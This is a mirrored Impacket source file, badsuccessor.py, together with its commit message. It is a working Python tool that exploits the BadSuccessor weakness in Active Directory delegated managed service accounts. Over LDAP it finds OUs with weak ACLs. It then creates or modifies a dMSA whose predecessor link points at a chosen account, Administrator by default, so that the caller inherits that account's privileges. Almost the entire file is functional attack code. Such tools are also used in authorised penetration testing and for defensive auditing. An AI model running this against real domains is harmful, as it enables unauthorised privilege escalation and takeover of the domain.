mirror of
https://github.com/fortra/impacket
synced 2026-06-08 14:15:13 +00:00
00f43cf714
* added badsuccessor attack changes * Added explicit error message for SUPERSEDED account in case of KDC_ERR_CLIENT_REVOKED error * added a link to microsoft docs regarding dmsa set up; fixed a typo * Added a prerequisite check with a message in case it is not met * 1. Leveraged logging instead of prints 2. Unified ldaps parameters 3. Renamed PA_DMSA_KEY_PACKAGE to KRB_DMSA_KEY_PACKAGE 4. Refactored ldapConnection to utilize impacket.examples.utils.init_ldap_session 5. Removed "double try" for search_ous replacing with a single one with specified controls value 6. Additional minor fixes * Adjusted argument handling for -allowed-principals and descriptions for other arguments * 1. Modified build_security_descriptor function to fix permissions: previously modification of the entry was not impossible with INSUFF_RIGHTS 2. Added modify_dmsa function 3. Cleaned up unused imports * Minor typo fix: KRB_DMSA_KEY_PACKAGE -> KERB_DMSA_KEY_PACKAGE * Renamed PA_DMSA_KEY_PACKAGE -> KERB_DMSA_KEY_PACKAGE * Changed security controls value in search_ous function from 0x15 -> 0x5 --------- Co-authored-by: fulc2um <autouser@localhost>
770 lines
34 KiB
Python
770 lines
34 KiB
Python
#!/usr/bin/env python3
|
|
# Impacket - Collection of Python classes for working with network protocols.
|
|
#
|
|
# Copyright Fortra, LLC and its affiliated companies
|
|
#
|
|
# All rights reserved.
|
|
#
|
|
# This software is provided under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Description:
|
|
# This script is a tool for dMSA exploitation.
|
|
# Search function is based on AKAMAI Get-BadSuccessorOUPermissions.ps1 (https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1)
|
|
# It allows to add/delete Delegated Managed Service Accounts (dMSA) in a specific OU, search for OUs vulnerable to BadSuccessor attack
|
|
# Author:
|
|
# Ilya Yatsenko (@fulc2um)
|
|
|
|
|
|
from __future__ import division
|
|
from __future__ import print_function
|
|
from __future__ import unicode_literals
|
|
|
|
import argparse
|
|
import logging
|
|
import random
|
|
import string
|
|
import sys
|
|
import ldap3
|
|
|
|
from impacket import version
|
|
from impacket.examples import logger
|
|
from impacket.examples.utils import parse_identity, parse_target, init_ldap_session
|
|
from impacket.ldap import ldaptypes
|
|
|
|
|
|
class BADSUCCESSOR:
|
|
def __init__(self, username, password, domain, lmhash, nthash, cmdLineOptions):
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = lmhash
|
|
self.__nthash = nthash
|
|
self.__aesKey = cmdLineOptions.aesKey
|
|
self.__doKerberos = cmdLineOptions.k
|
|
self.__target = cmdLineOptions.dc_host
|
|
self.__kdcHost = cmdLineOptions.dc_host
|
|
self.__dmsaName = cmdLineOptions.dmsa_name
|
|
self.__method = cmdLineOptions.method
|
|
self.__port = cmdLineOptions.port
|
|
self.__action = cmdLineOptions.action
|
|
self.__targetIp = cmdLineOptions.dc_ip
|
|
self.__baseDN = cmdLineOptions.baseDN
|
|
self.__targetOu = cmdLineOptions.target_ou
|
|
self.__principalsAllowed = cmdLineOptions.principals_allowed
|
|
self.__targetAccount = cmdLineOptions.target_account
|
|
self.__dnsHostName = cmdLineOptions.dns_hostname
|
|
|
|
if self.__targetIp is not None:
|
|
self.__kdcHost = self.__targetIp
|
|
|
|
if self.__method not in ['LDAP', 'LDAPS']:
|
|
raise ValueError("Unsupported method %s" % self.__method)
|
|
|
|
if self.__doKerberos and cmdLineOptions.dc_host is None:
|
|
raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")
|
|
|
|
if self.__method == 'LDAPS' and not '.' in self.__domain:
|
|
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
|
|
|
|
if self.__target is None:
|
|
if not '.' in self.__domain:
|
|
logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)
|
|
self.__target = self.__domain
|
|
|
|
if self.__port is None:
|
|
if self.__method == 'LDAP':
|
|
self.__port = 389
|
|
elif self.__method == 'LDAPS':
|
|
self.__port = 636
|
|
|
|
def run(self):
|
|
# Create the baseDN if not provided
|
|
if self.__baseDN is None:
|
|
domainParts = self.__domain.split('.')
|
|
self.__baseDN = ''
|
|
for i in domainParts:
|
|
self.__baseDN += 'dc=%s,' % i
|
|
# Remove last ','
|
|
self.__baseDN = self.__baseDN[:-1]
|
|
|
|
|
|
try:
|
|
use_ldaps = (self.__method == 'LDAPS')
|
|
|
|
# For Kerberos authentication, ensure proper target resolution
|
|
if self.__doKerberos:
|
|
target_host = self.__target if self.__target else self.__domain
|
|
dc_ip = self.__kdcHost if self.__kdcHost else self.__targetIp
|
|
else:
|
|
target_host = self.__target if self.__target else self.__domain
|
|
dc_ip = self.__targetIp
|
|
|
|
_, ldapConnection = init_ldap_session(
|
|
domain=self.__domain,
|
|
username=self.__username,
|
|
password=self.__password,
|
|
lmhash=self.__lmhash,
|
|
nthash=self.__nthash,
|
|
k=self.__doKerberos,
|
|
dc_ip=dc_ip,
|
|
dc_host=target_host,
|
|
aesKey=self.__aesKey,
|
|
use_ldaps=use_ldaps
|
|
)
|
|
|
|
except Exception as e:
|
|
raise Exception('Could not connect to LDAP server: %s' % str(e))
|
|
|
|
# Update target for logging
|
|
connectTo = dc_ip if dc_ip else target_host
|
|
logging.info('Connected to %s as %s\\%s' % (connectTo, self.__domain, self.__username))
|
|
|
|
|
|
if self.__action == 'add':
|
|
result = self.add_dmsa(ldapConnection)
|
|
elif self.__action == 'delete':
|
|
result = self.delete_dmsa(ldapConnection)
|
|
elif self.__action == 'modify':
|
|
result = self.modify_dmsa(ldapConnection)
|
|
elif self.__action == 'search':
|
|
result = self.search_ous(ldapConnection)
|
|
else:
|
|
logging.error('Unknown action: %s' % self.__action)
|
|
result = False
|
|
|
|
ldapConnection.unbind()
|
|
return result
|
|
|
|
def delete_dmsa(self, ldapConnection):
|
|
try:
|
|
if not self.__dmsaName:
|
|
logging.error('dMSA name is required for deletion. Use -dmsa-name parameter.')
|
|
return False
|
|
|
|
if not self.__targetOu:
|
|
logging.error('Target OU is required for dMSA deletion. Use -target-ou parameter.')
|
|
return False
|
|
|
|
dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)
|
|
if not self.check_account_exists(ldapConnection, dmsa_dn):
|
|
logging.error('dMSA account does not exist: %s' % dmsa_dn)
|
|
return False
|
|
|
|
success = ldapConnection.delete(dmsa_dn)
|
|
|
|
logging.info("")
|
|
logging.info("%-30s %s" % ("dMSA Deletion Results", ""))
|
|
logging.info("%-30s %s" % ("-" * 30, "-" * 30))
|
|
logging.info("%-30s %s" % ("dMSA Name:", '%s$' % self.__dmsaName))
|
|
logging.info("%-30s %s" % ("Status:", "SUCCESS" if success else "FAILED"))
|
|
|
|
if not success and ldapConnection.result:
|
|
logging.error("%-30s %s" % ("Error:", ldapConnection.result))
|
|
|
|
return success
|
|
|
|
except Exception as e:
|
|
logging.error('dMSA deletion failed: %s' % str(e))
|
|
return False
|
|
|
|
def check_account_exists(self, ldapConnection, dn):
|
|
try:
|
|
success = ldapConnection.search(
|
|
search_base=dn,
|
|
search_filter='(objectClass=*)',
|
|
search_scope=ldap3.BASE,
|
|
attributes=['cn']
|
|
)
|
|
|
|
return success and len(ldapConnection.entries) > 0
|
|
|
|
except Exception as e:
|
|
logging.debug('Error checking account existence: %s' % str(e))
|
|
# If we can't determine, assume it doesn't exist to avoid blocking operations
|
|
return False
|
|
|
|
def search_ous(self, ldapConnection):
|
|
try:
|
|
logging.info('Searching for OUs vulnerable to BadSuccessor attack...')
|
|
|
|
if not ldapConnection.bound:
|
|
logging.error('LDAP connection is not bound')
|
|
return False
|
|
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['operatingSystem', 'operatingSystemVersion']
|
|
)
|
|
|
|
if not success:
|
|
logging.error('Failed to search for Domain Controllers: %s' % ldapConnection.result)
|
|
return False
|
|
|
|
prereq_flag = False
|
|
for entry in ldapConnection.entries:
|
|
if ('operatingSystem' and 'operatingSystemVersion') not in entry:
|
|
logging.error('Could not retrieve operating system information for Domain Controller: %s' % entry.entry_dn)
|
|
pass
|
|
else:
|
|
if 'Windows Server 2025' in entry.operatingSystem.value or '26100' in entry.operatingSystemVersion.value:
|
|
logging.info('Found Windows Server 2025 Domain Controller: %s' % entry.entry_dn)
|
|
prereq_flag = True
|
|
break
|
|
|
|
if not prereq_flag:
|
|
logging.info('No Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.')
|
|
logging.info('Resulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.')
|
|
|
|
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(objectClass=organizationalUnit)',
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['distinguishedName', 'nTSecurityDescriptor'],
|
|
controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x5)
|
|
)
|
|
|
|
|
|
if not success:
|
|
logging.error('Failed to search for organizational units: %s' % ldapConnection.result)
|
|
return False
|
|
|
|
# Store the OU entries before they get overwritten by other searches
|
|
ou_entries = list(ldapConnection.entries)
|
|
logging.info('Found %d organizational units' % len(ou_entries))
|
|
|
|
# Get domain SID for filtering excluded accounts
|
|
try:
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(objectClass=domain)',
|
|
search_scope=ldap3.BASE,
|
|
attributes=['objectSid']
|
|
)
|
|
|
|
if success and len(ldapConnection.entries) > 0:
|
|
entry = ldapConnection.entries[0]
|
|
if 'objectSid' in entry:
|
|
domain_sid = entry.objectSid.value
|
|
except Exception as e:
|
|
logging.error('Failed to retrieve domain SID: %s' % str(e))
|
|
return False
|
|
allowed_identities = {}
|
|
|
|
relevant_rights = {
|
|
"CreateChild": 0x00000001,
|
|
"GenericAll": 0x10000000,
|
|
"WriteDACL": 0x00040000,
|
|
"WriteOwner": 0x00080000
|
|
}
|
|
|
|
relevant_object_types = {
|
|
"00000000-0000-0000-0000-000000000000": "All Objects",
|
|
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
|
|
}
|
|
|
|
for entry in ou_entries:
|
|
try:
|
|
ou_dn = str(entry.entry_dn)
|
|
|
|
if 'nTSecurityDescriptor' not in entry or not entry.nTSecurityDescriptor.value:
|
|
continue
|
|
|
|
sd_data = entry.nTSecurityDescriptor.value
|
|
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
|
|
|
|
# Process DACL entries (ACEs)
|
|
dacl = sd['Dacl']
|
|
if dacl and hasattr(dacl, 'aces') and dacl.aces:
|
|
for ace in dacl.aces:
|
|
# Only process ALLOW ACEs
|
|
if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
|
|
continue
|
|
|
|
# Check if ACE has relevant rights
|
|
mask = int(ace['Ace']['Mask']['Mask'])
|
|
has_relevant_right = any(mask & right_value for right_value in relevant_rights.values())
|
|
if not has_relevant_right:
|
|
continue
|
|
|
|
# Check object type (must match relevant object types)
|
|
object_type = getattr(ace['Ace'], 'ObjectType', None)
|
|
if object_type:
|
|
object_guid = str(object_type).lower()
|
|
if object_guid not in relevant_object_types:
|
|
continue
|
|
|
|
sid = ace['Ace']['Sid'].formatCanonical()
|
|
|
|
if self.is_excluded_sid(sid, domain_sid):
|
|
continue
|
|
|
|
identity = self.resolve_sid_to_name(ldapConnection, sid)
|
|
if identity not in allowed_identities:
|
|
allowed_identities[identity] = []
|
|
if ou_dn not in allowed_identities[identity]:
|
|
allowed_identities[identity].append(ou_dn)
|
|
|
|
try:
|
|
owner_sid = sd['OwnerSid'].formatCanonical()
|
|
if not self.is_excluded_sid(owner_sid, domain_sid):
|
|
identity = self.resolve_sid_to_name(ldapConnection, owner_sid)
|
|
if identity not in allowed_identities:
|
|
allowed_identities[identity] = []
|
|
if ou_dn not in allowed_identities[identity]:
|
|
allowed_identities[identity].append(ou_dn)
|
|
except:
|
|
pass
|
|
|
|
except Exception as e:
|
|
continue
|
|
|
|
if allowed_identities:
|
|
logging.info('Found %d identities with BadSuccessor privileges:' % len(allowed_identities))
|
|
logging.info("")
|
|
logging.info("%-50s %s" % ("Identity", "Vulnerable OUs"))
|
|
logging.info("%-50s %s" % ("-" * 50, "-" * 30))
|
|
|
|
for identity, ous in allowed_identities.items():
|
|
ou_list = "{%s}" % ", ".join(ous)
|
|
logging.info("%-50s %s" % (identity[:50], ou_list))
|
|
else:
|
|
logging.info('No identities found with BadSuccessor privileges')
|
|
logging.info("")
|
|
logging.info("%-50s %s" % ("Identity", "Vulnerable OUs"))
|
|
logging.info("%-50s %s" % ("-" * 50, "-" * 30))
|
|
logging.info("%-50s %s" % ("(none)", "(none)"))
|
|
return True
|
|
|
|
except Exception as e:
|
|
logging.error('BadSuccessor search failed: %s' % str(e))
|
|
return False
|
|
|
|
def is_excluded_sid(self, sid, domain_sid):
|
|
excluded_sids = ["S-1-5-32-544", "S-1-5-18"] # BUILTIN\Administrators, SYSTEM
|
|
excluded_suffixes = ["-512", "-519"] # Domain Admins, Enterprise Admins
|
|
|
|
if sid in excluded_sids:
|
|
return True
|
|
|
|
if domain_sid and sid.startswith(domain_sid):
|
|
for suffix in excluded_suffixes:
|
|
if sid.endswith(suffix):
|
|
return True
|
|
|
|
return False
|
|
|
|
def resolve_sid_to_name(self, ldapConnection, sid):
|
|
try:
|
|
# Handle well-known SIDs
|
|
well_known_sids = {
|
|
'S-1-1-0': 'Everyone',
|
|
'S-1-5-11': 'NT AUTHORITY\\Authenticated Users',
|
|
'S-1-5-32-544': 'BUILTIN\\Administrators',
|
|
'S-1-5-32-545': 'BUILTIN\\Users',
|
|
'S-1-5-32-546': 'BUILTIN\\Guests',
|
|
'S-1-5-18': 'NT AUTHORITY\\SYSTEM',
|
|
'S-1-5-19': 'NT AUTHORITY\\LOCAL SERVICE',
|
|
'S-1-5-20': 'NT AUTHORITY\\NETWORK SERVICE',
|
|
'S-1-3-0': 'CREATOR OWNER',
|
|
'S-1-3-1': 'CREATOR GROUP',
|
|
'S-1-5-9': 'NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS',
|
|
'S-1-5-10': 'NT AUTHORITY\\SELF',
|
|
}
|
|
|
|
if sid in well_known_sids:
|
|
return well_known_sids[sid]
|
|
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(objectSid=%s)' % sid,
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['sAMAccountName']
|
|
)
|
|
|
|
if success and len(ldapConnection.entries) > 0:
|
|
entry = ldapConnection.entries[0]
|
|
if 'sAMAccountName' in entry:
|
|
username = entry.sAMAccountName.value
|
|
return '%s\\%s' % (self.__domain.upper(), username)
|
|
|
|
return sid
|
|
|
|
except Exception as e:
|
|
logging.debug('Error resolving SID %s: %s' % (sid, str(e)))
|
|
return sid
|
|
|
|
|
|
def generate_dmsa_name(self):
|
|
random_suffix = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
|
|
return 'dMSA-%s' % random_suffix
|
|
|
|
def convert_sid_to_string(self, sid_bytes):
|
|
try:
|
|
if not sid_bytes:
|
|
return None
|
|
|
|
if isinstance(sid_bytes, str):
|
|
sid_bytes = sid_bytes.encode('latin-1')
|
|
|
|
if len(sid_bytes) < 8:
|
|
return None
|
|
|
|
revision = sid_bytes[0]
|
|
authority_count = sid_bytes[1]
|
|
|
|
expected_length = 8 + (authority_count * 4)
|
|
if len(sid_bytes) < expected_length:
|
|
return None
|
|
|
|
authority = int.from_bytes(sid_bytes[2:8], 'big')
|
|
|
|
subauthorities = []
|
|
for i in range(authority_count):
|
|
offset = 8 + (i * 4)
|
|
if offset + 4 <= len(sid_bytes):
|
|
subauth = int.from_bytes(sid_bytes[offset:offset+4], 'little')
|
|
subauthorities.append(str(subauth))
|
|
else:
|
|
break
|
|
|
|
if subauthorities:
|
|
sid_string = 'S-%d-%d-%s' % (revision, authority, '-'.join(subauthorities))
|
|
else:
|
|
sid_string = 'S-%d-%d' % (revision, authority)
|
|
|
|
return sid_string
|
|
|
|
except Exception as e:
|
|
logging.debug('Error converting SID bytes to string: %s' % str(e))
|
|
return None
|
|
|
|
def build_security_descriptor(self, user_sid):
|
|
try:
|
|
if not user_sid:
|
|
return None
|
|
# Handle both string and bytes SID formats
|
|
if isinstance(user_sid, str):
|
|
if user_sid.startswith('S-'):
|
|
sid_string = user_sid
|
|
else:
|
|
return None
|
|
else:
|
|
sid_string = self.convert_sid_to_string(user_sid)
|
|
if not sid_string:
|
|
return None
|
|
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
|
|
sd['Revision'] = b'\x01'
|
|
sd['Sbz1'] = b'\x00'
|
|
sd['Control'] = 32772
|
|
sd['OwnerSid'] = ldaptypes.LDAP_SID()
|
|
sd['OwnerSid'].fromCanonical(sid_string)
|
|
sd['GroupSid'] = b''
|
|
sd['Sacl'] = b''
|
|
acl = ldaptypes.ACL()
|
|
acl['AclRevision'] = 4
|
|
acl['Sbz1'] = 0
|
|
acl['Sbz2'] = 0
|
|
acl.aces = []
|
|
|
|
nace1 = ldaptypes.ACE()
|
|
nace1['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
|
|
nace1['AceFlags'] = 0x00
|
|
acedata1 = ldaptypes.ACCESS_ALLOWED_ACE()
|
|
acedata1['Mask'] = ldaptypes.ACCESS_MASK()
|
|
acedata1['Mask']['Mask'] = 0x000F01FF
|
|
acedata1['Sid'] = ldaptypes.LDAP_SID()
|
|
acedata1['Sid'].fromCanonical(sid_string)
|
|
nace1['Ace'] = acedata1
|
|
acl.aces.append(nace1)
|
|
|
|
nace2 = ldaptypes.ACE()
|
|
nace2['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
|
|
nace2['AceFlags'] = 0x00
|
|
acedata2 = ldaptypes.ACCESS_ALLOWED_ACE()
|
|
acedata2['Mask'] = ldaptypes.ACCESS_MASK()
|
|
acedata2['Mask']['Mask'] = 0x10000000 # GenericAll
|
|
acedata2['Sid'] = ldaptypes.LDAP_SID()
|
|
acedata2['Sid'].fromCanonical(sid_string)
|
|
nace2['Ace'] = acedata2
|
|
acl.aces.append(nace2)
|
|
sd['Dacl'] = acl
|
|
return sd.getData()
|
|
except Exception as e:
|
|
logging.debug('Error building security descriptor: %s' % str(e))
|
|
return None
|
|
|
|
|
|
def add_dmsa(self, ldapConnection):
|
|
try:
|
|
if not self.__dmsaName:
|
|
self.__dmsaName = self.generate_dmsa_name()
|
|
|
|
if not self.__targetOu:
|
|
logging.error('Target OU is required for dMSA creation. Use -target-ou parameter.')
|
|
return False
|
|
|
|
dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)
|
|
if self.check_account_exists(ldapConnection, dmsa_dn):
|
|
logging.error('dMSA account already exists: %s' % dmsa_dn)
|
|
return False
|
|
|
|
principals_allowed = self.__principalsAllowed if self.__principalsAllowed else self.__username
|
|
target_account = self.__targetAccount if self.__targetAccount else 'Administrator'
|
|
|
|
dns_hostname = self.__dnsHostName if self.__dnsHostName else '%s.%s' % (self.__dmsaName.lower(), self.__domain)
|
|
|
|
# Validate DNS hostname format
|
|
if not dns_hostname or '.' not in dns_hostname:
|
|
dns_hostname = '%s.%s' % (self.__dmsaName.lower(), self.__domain)
|
|
|
|
attributes = {
|
|
'objectClass': ['msDS-DelegatedManagedServiceAccount'],
|
|
'cn': self.__dmsaName,
|
|
'sAMAccountName': '%s$' % self.__dmsaName,
|
|
'dNSHostName': dns_hostname,
|
|
'userAccountControl': 4096,
|
|
'msDS-ManagedPasswordInterval': 30,
|
|
'msDS-DelegatedMSAState': 2,
|
|
'msDS-SupportedEncryptionTypes': 28,
|
|
'accountExpires': 9223372036854775807,
|
|
}
|
|
|
|
group_msa_membership = None
|
|
try:
|
|
search_filter = '(&(objectClass=user)(sAMAccountName=%s))' % principals_allowed
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter=search_filter,
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['objectSid'])
|
|
if success and len(ldapConnection.entries) > 0:
|
|
entry = ldapConnection.entries[0]
|
|
if 'objectSid' in entry:
|
|
user_sid = entry.objectSid.value
|
|
if user_sid:
|
|
descriptor = self.build_security_descriptor(user_sid)
|
|
group_msa_membership = descriptor
|
|
attributes['nTSecurityDescriptor'] = descriptor
|
|
|
|
except Exception as e:
|
|
logging.debug('Error building MSA membership: %s' % str(e))
|
|
return False
|
|
|
|
if group_msa_membership:
|
|
attributes['msDS-GroupMSAMembership'] = group_msa_membership
|
|
|
|
target_dn = None
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(&(objectClass=*)(sAMAccountName=%s))' % target_account,
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['distinguishedName', 'objectClass']
|
|
)
|
|
|
|
if success and len(ldapConnection.entries) > 0:
|
|
for entry in ldapConnection.entries:
|
|
object_classes = [str(oc).lower() for oc in entry.objectClass.values]
|
|
if 'user' in object_classes or 'computer' in object_classes:
|
|
target_dn = str(entry.entry_dn)
|
|
# Return first match if no user/computer found
|
|
target_dn = str(ldapConnection.entries[0].entry_dn)
|
|
|
|
if target_dn:
|
|
attributes['msDS-ManagedAccountPrecededByLink'] = target_dn
|
|
|
|
|
|
|
|
else:
|
|
logging.error('Target account not found: %s' % target_account)
|
|
return False
|
|
|
|
success = ldapConnection.add(dmsa_dn, attributes=attributes)
|
|
|
|
if success:
|
|
logging.info("")
|
|
logging.info("%-30s %s" % ("-" * 30, "-" * 30))
|
|
logging.info("%-30s %s" % ("dMSA Name:", '%s$' % self.__dmsaName))
|
|
logging.info("%-30s %s" % ("DNS Hostname:", attributes.get('dNSHostName', 'Unknown')))
|
|
logging.info("%-30s %s" % ("Migration status: ", attributes.get('msDS-DelegatedMSAState', 'Unknown')))
|
|
logging.info("%-30s %s" % ("Principals Allowed:", principals_allowed))
|
|
logging.info("%-30s %s" % ("Target Account:", target_account))
|
|
return True
|
|
else:
|
|
if ldapConnection.result:
|
|
logging.error('LDAP error: %s' % ldapConnection.result)
|
|
return False
|
|
|
|
except Exception as e:
|
|
logging.error('dMSA creation failed: %s' % str(e))
|
|
return False
|
|
|
|
def modify_dmsa(self, ldapConnection):
|
|
try:
|
|
dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)
|
|
|
|
if not self.check_account_exists(ldapConnection, dmsa_dn):
|
|
logging.error('dMSA account does not exist: %s' % dmsa_dn)
|
|
return False
|
|
|
|
# Get current target account value
|
|
success = ldapConnection.search(
|
|
search_base=dmsa_dn,
|
|
search_filter='(objectClass=msDS-DelegatedManagedServiceAccount)',
|
|
search_scope=ldap3.BASE,
|
|
attributes=['msDS-ManagedAccountPrecededByLink']
|
|
)
|
|
|
|
current_target_dn = None
|
|
if success and len(ldapConnection.entries) > 0:
|
|
entry = ldapConnection.entries[0]
|
|
if hasattr(entry, 'msDS-ManagedAccountPrecededByLink'):
|
|
current_target_dn = entry['msDS-ManagedAccountPrecededByLink'].value
|
|
|
|
success = ldapConnection.search(
|
|
search_base=self.__baseDN,
|
|
search_filter='(&(objectClass=*)(sAMAccountName=%s))' % self.__targetAccount,
|
|
search_scope=ldap3.SUBTREE,
|
|
attributes=['distinguishedName', 'objectClass']
|
|
)
|
|
|
|
if not (success and len(ldapConnection.entries) > 0):
|
|
logging.error('Target account not found: %s' % self.__targetAccount)
|
|
return False
|
|
|
|
target_dn = None
|
|
for entry in ldapConnection.entries:
|
|
object_classes = [str(oc).lower() for oc in entry.objectClass.values]
|
|
if 'user' in object_classes or 'computer' in object_classes:
|
|
target_dn = str(entry.entry_dn)
|
|
break
|
|
|
|
if not target_dn:
|
|
target_dn = str(ldapConnection.entries[0].entry_dn)
|
|
|
|
if current_target_dn == target_dn:
|
|
logging.info('Target account is already set to: %s' % target_dn)
|
|
logging.info('No modifications needed.')
|
|
return True
|
|
|
|
modifications = {
|
|
'msDS-ManagedAccountPrecededByLink': [(ldap3.MODIFY_REPLACE, [target_dn])]
|
|
}
|
|
|
|
success = ldapConnection.modify(dmsa_dn, modifications)
|
|
|
|
if success:
|
|
logging.info('dMSA target account modified: %s -> %s' % (current_target_dn or '(not set)', target_dn))
|
|
return True
|
|
else:
|
|
logging.error('Failed to modify dMSA: %s' % ldapConnection.result)
|
|
return False
|
|
|
|
except Exception as e:
|
|
logging.error('Error modifying dMSA: %s' % str(e))
|
|
return False
|
|
|
|
|
|
if __name__ == '__main__':
|
|
print(version.BANNER)
|
|
|
|
parser = argparse.ArgumentParser(add_help = True, description = "dMSA exploitation tool.")
|
|
|
|
parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
|
|
parser.add_argument('-dmsa-name', action='store', metavar='dmsa_name', help='Name of dMSA to add. If omitted, a random dMSA-[A-Z0-9]{8} will be used.')
|
|
parser.add_argument('-action', choices=['add', 'delete', 'modify', 'search'], default='search', help='Action to perform: add (requires -target-ou), delete (requires -dmsa-name, -target-ou), modify (requires -dmsa-name, -target-ou and -target-account), or search a dMSA.')
|
|
parser.add_argument('-target-ou', action='store', metavar='OU_DN', help='Specific OU to check for dMSA creation capabilities (e.g., "OU=weakOU,DC=domain,DC=local")')
|
|
parser.add_argument('-principals-allowed', action='store', metavar='USERNAME', help='Username allowed to retrieve the managed password. If omitted, current username will be used.')
|
|
parser.add_argument('-target-account', action='store', metavar='USERNAME', default='Administrator', help='Target user or computer account DN to set for msDS-ManagedAccountPrecededByLink (can target Domain Controllers, Domain Admins, Protected Users, etc.)')
|
|
parser.add_argument('-dns-hostname', action='store', metavar='HOSTNAME', help='DNS hostname for the dMSA. If omitted, will be generated as dmsaname.domain.')
|
|
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
|
|
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
|
parser.add_argument('-method', choices=['LDAP', 'LDAPS'], default='LDAPS', help='Method of adding the computer. LDAPS has some certificate requirements and isn\'t always available.')
|
|
|
|
parser.add_argument('-port', type=int, choices=[389, 636], help='Destination port to connect to. LDAP defaults to 389, LDAPS to 636.')
|
|
|
|
group = parser.add_argument_group('LDAP')
|
|
group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.')
|
|
|
|
group = parser.add_argument_group('authentication')
|
|
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
|
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
|
|
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
|
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used')
|
|
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. Useful if you can\'t translate the FQDN.')
|
|
|
|
if len(sys.argv)==1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
|
|
if options.action == 'add':
|
|
required_args = []
|
|
if not options.target_ou:
|
|
required_args.append('-target-ou')
|
|
|
|
if required_args:
|
|
parser.error('Action "add" requires the following arguments: %s' % ', '.join(required_args))
|
|
|
|
elif options.action == 'delete':
|
|
required_args = []
|
|
if not options.dmsa_name:
|
|
required_args.append('-dmsa-name')
|
|
if not options.target_ou:
|
|
required_args.append('-target-ou')
|
|
|
|
if required_args:
|
|
parser.error('Action "delete" requires the following arguments: %s' % ', '.join(required_args))
|
|
|
|
elif options.action == 'modify':
|
|
required_args = []
|
|
if not options.dmsa_name:
|
|
required_args.append('-dmsa-name')
|
|
if not options.target_ou:
|
|
required_args.append('-target-ou')
|
|
if not options.target_account:
|
|
required_args.append('-target-account')
|
|
if required_args:
|
|
parser.error('Action "modify" requires the following arguments: %s' % ', '.join(required_args))
|
|
|
|
logger.init(options.ts, options.debug)
|
|
|
|
if '@' in options.account and options.dc_host is None:
|
|
domain, username, password, remote_host = parse_target(options.account)
|
|
if domain == '':
|
|
logging.critical('Domain should be specified!')
|
|
sys.exit(1)
|
|
options.dc_host = remote_host
|
|
|
|
if password == '' and username != '' and options.hashes is None and not options.no_pass and options.aesKey is None:
|
|
from getpass import getpass
|
|
password = getpass("Password:")
|
|
|
|
lmhash = ''
|
|
nthash = ''
|
|
if options.hashes is not None:
|
|
lmhash, nthash = options.hashes.split(':')
|
|
if lmhash == '':
|
|
lmhash = 'AAD3B435B51404EEAAD3B435B51404EE'
|
|
|
|
if options.aesKey is not None:
|
|
options.k = True
|
|
else:
|
|
domain, username, password, lmhash, nthash, options.k = parse_identity(options.account, options.hashes, options.no_pass, options.aesKey, options.k)
|
|
|
|
if domain == '':
|
|
logging.critical('Domain should be specified!')
|
|
sys.exit(1)
|
|
|
|
try:
|
|
executer = BADSUCCESSOR(username, password, domain, lmhash, nthash, options)
|
|
executer.run()
|
|
except Exception as e:
|
|
print(str(e))
|